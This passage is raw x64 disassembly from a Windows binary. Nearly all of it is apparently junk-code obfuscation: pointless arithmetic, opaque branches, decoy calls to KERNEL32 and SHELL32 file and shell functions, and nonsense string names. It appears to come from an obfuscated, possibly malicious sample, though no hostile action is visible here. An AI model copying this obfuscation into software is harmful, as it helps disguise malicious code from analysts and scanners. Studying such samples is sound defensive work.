mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b50], rax
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x246c], eax
lea rdx, [rsp + 0x49b0]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x24a8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2430], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
sub eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
shl eax, cl
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov eax, dword [rsp + 0x2494]
sub eax, 0x7a
mov dword [rsp + 0x2494], eax
xor r9d, r9d
lea r8, [rsp + 0x49b0]
mov rdx, qword [rsp + 0x49f8]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x24cc], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe9c
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2430], eax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e0]
or eax, ecx
mov word [rsp + 0x5cc], ax
mov eax, dword [rsp + 0x24a4]
mov rcx, qword [rsp + 0x4a30]
mov qword [rsp + 0x4b60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b60]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x24c8], eax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [section..data]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x243c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2454], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
add eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x2408], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
and eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
lea rdx, [rsp + 0x131b8]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x2408], eax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
add eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140108f90], ax
jmp 0x140004ac6
mov byte [rsp + 0x42], 0x3e
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x24d0], al
cmp byte [rsp + 0x24d0], 0x3e
je 0x140005018
jmp 0x1400db01b
mov rax, qword [rsp + 0x4b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x4b50]
mov rcx, qword [rsp + 0x4b20]
mov qword [rsp + 0x4b68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x49b8], rax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e8]
sar eax, cl
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x42]
xor eax, 0x54
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x10a2
mov r9d, 0x1774
mov r8d, 0x9b
mov edx, 0x1147
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x23f4], eax
lea rcx, str.Complicate_Ashcans_Teemed_computable_sprinted
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5f4], ax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
and eax, ecx
mov word [0x140108008], ax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x5c4]
add eax, ecx
mov word [rsp + 0x5ec], ax
movzx eax, byte [rsp + 0x42]
add eax, 0x14
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b50], rax
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23c0], eax
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [section..data]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4a90], rax
mov rcx, qword [rsp + 0x4a78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x246c], eax
mov rax, qword [rsp + 0x4980]
mov ecx, dword [rsp + 0x2454]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x23cc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2418], eax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
sub eax, ecx
mov word [rsp + 0x5c8], ax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [0x140108f90]
sub eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x24cc], eax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
xor eax, ecx
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x42]
shl eax, 2
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4a80]
mov qword [rsp + 0x4b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2410], eax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x243c], eax
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4a90], rax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x5e8], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140108f98]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x4b78], rax
lea rcx, [rsp + 0x14c10]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x2414], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x46d0
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x23f8], eax
movzx eax, byte [rsp + 0x42]
add eax, 0xb3
mov byte [rsp + 0x42], al
movsx eax, word [0x140108008]
movsx ecx, word [rsp + 0x5ec]
and eax, ecx
mov word [rsp + 0x5c8], ax
mov eax, dword [rsp + 0x2458]
add eax, 0x7f
mov dword [rsp + 0x2458], eax
mov eax, dword [rsp + 0x24c8]
mov ecx, dword [rsp + 0x2490]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x24a4], eax
mov dword [rsp + 0x20], 0x3e83
mov r9d, 0x841
mov r8d, 0x3284
mov edx, 0x3c7e
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x246c], eax
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b50], rax
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4ab8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4970], rax
mov eax, dword [rsp + 0x23cc]
movzx ecx, al
mov eax, dword [rsp + 0x243c]
shl eax, cl
mov dword [rsp + 0x2454], eax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x5ec]
xor eax, ecx
mov word [rsp + 0x5c4], ax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
sar eax, cl
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [0x140108f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e0]
or eax, ecx
mov word [0x140108f90], ax
cmp dword [rsp + 0x2458], 0xf254
jbe 0x140005018
lea rax, [rsp + 0x40]
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4a80]
mov ecx, dword [rsp + 0x2410]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x23c0]
mov edx, dword [rsp + 0x2490]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400055ea
lea rax, [rsp + 0x5e8]
mov qword [rsp + 0x4b88], rax
movzx eax, byte [rsp + 0x42]
cmp eax, 0xcb
je 0x1400055ea
mov rax, qword [rsp + 0x4990]
mov rcx, qword [rsp + 0x4a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov dword [rcx], eax
movzx eax, word [0x140108f90]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x5cc]
sub ecx, edx
cmp eax, ecx
jge 0x1400055df
lea rax, [rsp + 0x12220]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xa6
mov r9d, 0xf2
mov r8d, 0xee
mov edx, 0x53
mov rcx, qword [rsp + 0x4b90]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x24d4], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x49b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b50], rax
lea rdx, [rsp + 0x147a0]
lea rcx, [rsp + 0x4af8]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x4b98], rax
mov dword [rsp + 0x24d8], 0x8304
mov rax, qword [rsp + 0x4b50]
mov qword [rsp + 0x4ba0], rax
cmp qword [rsp + 0x4ba0], 0
je 0x140005622
movabs rax, 0x78a79b800b02e0
cmp qword [rsp + 0x4ba0], rax
je 0x1400daf4f
jmp 0x1400dafe3
mov rax, qword [rsp + 0x49c8]
movzx eax, byte [rax]
mov byte [rsp + 0x24dc], al
cmp byte [rsp + 0x24dc], 0x28
je 0x14000564d
cmp byte [rsp + 0x24dc], 0x42
je 0x140005681
jmp 0x140005725
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5cc]
or eax, ecx
mov word [0x140108f90], ax
mov rcx, qword [rsp + 0x4ba8]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x4aa8], rax
jmp 0x140005725
lea rcx, [rsp + 0x4b98]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x24bc], eax
lea r9, [rsp + 0x147e0]
lea r8, [rsp + 0x4ac0]
lea rdx, [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4bb0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExA]
mov dword [rsp + 0x2480], eax
mov rax, qword [rsp + 0x4ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x49b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5e8], ax
mov rax, qword [rsp + 0x4ab8]
mov rcx, qword [rsp + 0x49e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4978], rax
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov dword [rsp + 0x24e0], eax
cmp dword [rsp + 0x24e0], 0
je 0x140005756
cmp dword [rsp + 0x24e0], 0x18b6
je 0x140005899
jmp 0x14000598c
lea rax, [rsp + 0x2454]
mov qword [rsp + 0x4bb8], rax
movzx eax, byte [rsp + 0x42]
cmp eax, 0x6b
jg 0x140005840
mov rax, qword [rsp + 0x49b8]
mov qword [rsp + 0x4bc0], rax
movabs rax, 0x7406a1c548f3b5
cmp qword [rsp + 0x4bc0], rax
je 0x1400057b1
movabs rax, 0x78bec861451a0d
cmp qword [rsp + 0x4bc0], rax
je 0x140005826
jmp 0x14000583e
mov rax, qword [rsp + 0x4a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x4b20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b50], rax
mov dword [rsp + 0x20], 0x57
lea r9, [rsp + 0x4a30]
mov r8d, 0x85
lea rdx, [rsp + 0x4b50]
lea rcx, [rsp + 0x4b20]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x2484], eax
jmp 0x14000583e
mov rax, qword [rsp + 0x4ac0]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x4a90]
call fcn.1400dbe30
jmp 0x140005894
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x49b8]
mov rdx, qword [rsp + 0x4b50]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140005894
mov rax, qword [rsp + 0x4978]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
jmp 0x14000598c
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x41]
mov byte [rsp + 0x24e4], al
cmp byte [rsp + 0x24e4], 0x57
je 0x1400058c7
jmp 0x14000593c
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x40]
movsx edx, byte [rsp + 0x41]
sub ecx, edx
cmp eax, ecx
jne 0x14000593a
movzx eax, word [rsp + 0x5e8]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140108f90], ax
movzx eax, word [rsp + 0x5c4]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4b20]
mov r9, qword [rax]
movzx r8d, byte [rsp + 0x42]
movzx edx, byte [rsp + 0x42]
mov ecx, dword [rsp + 0x2410]
call fcn.1400db720
jmp 0x14000598c
mov rax, qword [rsp + 0x4b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ab8]
mov qword [rsp + 0x4bc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bc8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4ab8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [0x140108008]
shl eax, cl
mov word [rsp + 0x5c8], ax
movsx eax, word [rsp + 0x5c4]
mov dword [rsp + 0x24e8], eax
cmp dword [rsp + 0x24e8], 0x3ee
je 0x1400059ad
jmp 0x140005a69
mov rax, qword [rsp + 0x4ab8]
mov rax, qword [rax]
mov qword [rsp + 0x4bd0], rax
movabs rax, 0x70ce0ac7d28053
cmp qword [rsp + 0x4bd0], rax
je 0x1400059d6
jmp 0x1400059f6
mov rdx, qword [rsp + 0x4bd8]
mov rcx, qword [rsp + 0x4be0]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0x4be8], rax
jmp 0x140005a28
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
mov dword [rsp + 0x24d4], eax
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2490]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x24a4], eax
mov rax, qword [rsp + 0x4b80]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x24d4]
mov rcx, qword [rsp + 0x4978]
call fcn.1400dcc30
jmp 0x140005b54
movzx eax, byte [rsp + 0x42]
cmp eax, 9
jl 0x140005b54
mov rax, qword [rsp + 0x4b10]
mov rcx, qword [rsp + 0x4970]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4a90]
mov rdx, qword [rsp + 0x4978]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x140005b54
mov rax, qword [rsp + 0x49e0]
mov rcx, qword [rsp + 0x4ab8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4b10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x49c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x40]
movsx edx, byte [rsp + 0x41]
sub ecx, edx
cmp eax, ecx
jle 0x140005b2a
mov edx, 0x80
lea rcx, [rsp + 0x242c]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x24bc], eax
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x41], al
jmp 0x140005b54
movzx eax, byte [rsp + 0x42]
cmp eax, 0x44
jle 0x140005b54
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Monopoliesprincely
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4bf0], rax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41]
add eax, ecx
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x40]
add ecx, edx
cmp eax, ecx
je 0x140005c66
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov dword [rsp + 0x24ec], eax
cmp dword [rsp + 0x24ec], 0x3ad4
je 0x140005be9
cmp dword [rsp + 0x24ec], 0x7e04
je 0x140005c4a
jmp 0x140005c66
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c4]
add eax, ecx
mov word [0x140108008], ax
mov edx, 0x2a
lea rcx, [rsp + 0x24c8]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
mov r8d, dword [rsp + 0x24c8]
movzx edx, byte [rsp + 0x41]
mov rax, qword [rsp + 0x4b80]
movzx ecx, byte [rax]
call fcn.1400dd070
jmp 0x140005c66
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [0x140108f90]
or eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2418], eax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x49e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4978], rax
cmp dword [rsp + 0x2450], 0xfbd7
ja 0x140005f40
mov rax, qword [rsp + 0x4a80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2410]
shl eax, cl
mov dword [rsp + 0x24a4], eax
mov eax, dword [rsp + 0x2454]
mov rcx, qword [rsp + 0x4b18]
mov qword [rsp + 0x4bf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bf8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4980]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5e8]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5c8]
and eax, ecx
mov word [0x140108008], ax
movsx eax, word [rsp + 0x5ec]
movsx ecx, word [rsp + 0x5c8]
add eax, ecx
mov word [rsp + 0x5c4], ax
movzx eax, word [0x140108f90]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a80]
mov ecx, dword [rsp + 0x24c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x24a4], eax
mov rax, qword [rsp + 0x4bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x242c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2454], eax
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0x4978]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4970], rax
movzx eax, byte [rsp + 0x42]
xor eax, 0x25
mov byte [rsp + 0x42], al
movsx eax, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
sar eax, cl
mov word [0x140108008], ax
mov rcx, qword [rsp + 0x4bf0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x24a8], eax
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5cc]
and eax, ecx
mov word [rsp + 0x5e8], ax
movsx eax, byte [rsp + 0x41]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x2450]
add eax, 0x50
mov dword [rsp + 0x2450], eax
mov r9d, 1
lea r8, [rsp + 0x49b0]
mov rdx, qword [rsp + 0x49b0]
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x23f4], eax
lea rdx, [rsp + 0x13148]
mov rcx, qword [rsp + 0x4968]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x24f0], eax
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4990]
mov ecx, dword [rsp + 0x2490]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x24c8], eax
jmp 0x140005c94
cmp dword [rsp + 0x23fc], 0x698e
ja 0x14000626f
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ab8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b18]
mov rcx, qword [rsp + 0x4980]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [0x140108f98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x21ef
mov r9d, 0x901
mov r8d, 0x1013
mov edx, 0x1bc5
mov rcx, qword [rsp + 0x49c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x24a8], eax
movzx eax, byte [rsp + 0x42]
sub eax, 0x96
mov byte [rsp + 0x42], al
movzx eax, word [rsp + 0x5e8]
mov rcx, qword [rsp + 0x4a58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e0]
sub eax, ecx
mov word [0x140108f90], ax
movsx eax, word [rsp + 0x5c4]
movsx ecx, word [rsp + 0x5ec]
xor eax, ecx
mov word [rsp + 0x5c8], ax
mov rax, qword [rsp + 0x4b20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x49b8], rax
mov eax, dword [rsp + 0x2410]
mov rcx, qword [rsp + 0x4a30]
mov qword [rsp + 0x4c00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c00]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x24c8], eax
mov rax, qword [rsp + 0x4a90]
movzx ecx, al
mov rax, qword [rsp + 0x4978]
shl rax, cl
mov qword [rsp + 0x4970], rax
lea rdx, [rsp + 0x49b0]
mov rcx, qword [rsp + 0x49d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x24cc], eax
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2454]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
mov eax, dword [rsp + 0x23fc]
add eax, 0xa5
mov dword [rsp + 0x23fc], eax
mov rax, qword [rsp + 0x4990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x24a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b20]
mov rcx, qword [rsp + 0x4ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4b20]
mov qword [rcx], rax
movzx eax, word [rsp + 0x5e0]
movzx ecx, word [rsp + 0x5e8]
add eax, ecx
mov word [rsp + 0x5cc], ax
mov rax, qword [rsp + 0x4a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5cc]
sub eax, ecx
mov word [0x140108f90], ax
movzx eax, byte [rsp + 0x42]
add eax, 0xd7
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x4a30]
mov rcx, qword [rsp + 0x4990]
mov ecx, dword [rcx]
mov eax, dword [rax]
